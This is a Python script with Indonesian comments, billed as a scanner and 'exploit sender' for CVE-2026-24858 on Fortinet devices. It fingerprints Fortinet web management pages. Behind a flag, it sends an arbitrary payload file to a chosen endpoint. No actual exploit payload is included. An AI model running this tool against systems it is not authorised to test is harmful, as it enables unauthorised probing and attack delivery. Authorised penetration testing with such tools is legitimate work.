#!/usr/bin/env python3 """ Helper PoC untuk CVE-2026-24858 (scanner + optional exploit sender) Mode exploit NONAKTIF secara default dan WAJIB pakai --enable-exploit Gunakan hanya pada sistem yang Anda miliki atau punya izin pengujian. """ import argparse import os import sys import warnings from urllib.parse import urljoin import requests from requests.exceptions import Timeout, ConnectionError, RequestException # Nonaktifkan warning SSL requests.packages.urllib3.disable_warnings() def banner(): print(r""" ============================================================ = CVE-2026-24858 Fortinet Helper Scanner & Exploit Sender = ============================================================ = Author : Gagaltotal666 - https://gagaltotal.github.io = = GitHub : Tot666 - gagaltotal = = Warning : Gunakan hanya untuk pengujian legal = ============================================================ """) def detect_fortinet(target, port, scheme, timeout=5, include_full=False): """ Fungsi untuk mendeteksi indikasi Fortinet dari web management """ url = f"{scheme}://{target}:{port}/" try: r = requests.get(url, timeout=timeout, verify=False, allow_redirects=True) except Timeout: return {"ok": False, "error": "Koneksi timeout ke target", "url": url} except ConnectionError: return {"ok": False, "error": "Gagal koneksi ke target", "url": url} except RequestException as e: return {"ok": False, "error": str(e), "url": url} body = r.text or "" info = { "ok": True, "url": url, "status_code": r.status_code, "headers": dict(r.headers), "body_snippet": body[:4096], } if include_full: info["body_full"] = body server = r.headers.get("Server", "") indicators = [] # Indikator umum Fortinet if "Forti" in server or "Forti" in body or "FortiGate" in body or "FortiOS" in body: indicators.append("Banner/body teridentifikasi Fortinet") if any(h.lower().startswith("x-forti") for h in r.headers): indicators.append("Header spesifik Fortinet terdeteksi") info["indicators"] = indicators return info def send_payload(target, port, scheme, endpoint, payload_bytes, headers=None, timeout=10, include_full=False): """ Fungsi untuk mengirim payload (mode exploit) """ url = urljoin(f"{scheme}://{target}:{port}", endpoint) if headers is None: headers = {"Content-Type": "application/octet-stream"} try: r = requests.post(url, data=payload_bytes, headers=headers, timeout=timeout, verify=False) except Timeout: return {"ok": False, "error": "Timeout saat mengirim payload", "url": url} except ConnectionError: return {"ok": False, "error": "Gagal koneksi saat kirim payload", "url": url} except RequestException as e: return {"ok": False, "error": str(e), "url": url} res = { "ok": True, "url": url, "status_code": r.status_code, "headers": dict(r.headers), "body_snippet": r.text[:4096], } if include_full: res["body_full"] = r.text return res def main(): banner() parser = argparse.ArgumentParser(description="Helper CVE-2026-24858 (scan + optional exploit)") sub = parser.add_subparsers(dest="cmd", required=True) # ===================== SCAN ===================== p_scan = sub.add_parser("scan", help="Deteksi indikasi Fortinet dari web management") p_scan.add_argument("--target", required=True) p_scan.add_argument("--port", type=int, default=443) p_scan.add_argument("--scheme", choices=("http", "https"), default="https") p_scan.add_argument("--verbose", action="store_true") p_scan.add_argument("--dump-body", action="store_true") p_scan.add_argument("--save-response") # ===================== EXPLOIT ===================== p_ex = sub.add_parser("exploit", help="(Opsional) kirim payload ke endpoint target") p_ex.add_argument("--target", required=True) p_ex.add_argument("--port", type=int, default=443) p_ex.add_argument("--scheme", choices=("http", "https"), default="https") p_ex.add_argument("--endpoint", required=True) p_ex.add_argument("--payload-file", required=True) p_ex.add_argument("--enable-exploit", action="store_true") p_ex.add_argument("--verbose", action="store_true") p_ex.add_argument("--dump-body", action="store_true") p_ex.add_argument("--save-response") p_ex.add_argument("--timeout", type=int, default=10) args = parser.parse_args() # ===================== MODE SCAN ===================== if args.cmd == "scan": include_full = args.dump_body or bool(args.save_response) info = detect_fortinet(args.target, args.port, args.scheme, include_full=include_full) if not info.get("ok"): print(f"[ERROR] {info.get('error')} -> {info.get('url')}") sys.exit(2) print(f"[OK] Terhubung: {info['url']} (HTTP {info['status_code']})") if info.get("indicators"): print("[+] Indikasi Fortinet ditemukan:") for i in info["indicators"]: print(f" - {i}") else: print("[-] Tidak ditemukan indikator Fortinet yang jelas.") if args.verbose: print("\n== Header Response ==") for k, v in info.get("headers", {}).items(): print(f"{k}: {v}") print("\n== Body Snippet ==") print(info.get("body_snippet", "") or "") if args.dump_body: print("\n== Full Body ==") print(info.get("body_full", "") or "") if args.save_response: try: with open(args.save_response, "w", encoding="utf-8", errors="replace") as fh: fh.write(info.get("body_full", info.get("body_snippet", ""))) print(f"[OK] Response disimpan ke {args.save_response}") except Exception as e: print(f"[ERROR] Gagal menyimpan file: {e}") # ===================== MODE EXPLOIT ===================== elif args.cmd == "exploit": if not args.enable_exploit: print("Mode exploit NONAKTIF. Tambahkan --enable-exploit untuk lanjut.") sys.exit(3) if not os.path.isfile(args.payload_file): print("File payload tidak ditemukan:", args.payload_file) sys.exit(4) with open(args.payload_file, "rb") as f: payload = f.read() warnings.warn("Anda mengaktifkan mode exploit. Pastikan ini legal.") include_full = args.dump_body or bool(args.save_response) res = send_payload( args.target, args.port, args.scheme, args.endpoint, payload, timeout=args.timeout, include_full=include_full, ) if not res.get("ok"): print(f"[ERROR] {res.get('error')} -> {res.get('url')}") sys.exit(5) print(f"[OK] Payload terkirim ke {res['url']} — HTTP {res['status_code']}") print("== Response Snippet ==") print(res.get("body_snippet", "") or "") if args.verbose: print("\n== Header Response ==") for k, v in res.get("headers", {}).items(): print(f"{k}: {v}") if args.dump_body: print("\n== Full Body ==") print(res.get("body_full", "") or "") if args.save_response: try: with open(args.save_response, "w", encoding="utf-8", errors="replace") as fh: fh.write(res.get("body_full", res.get("body_snippet", ""))) print(f"[OK] Response disimpan ke {args.save_response}") except Exception as e: print(f"[ERROR] Gagal menyimpan file: {e}") if __name__ == "__main__": main()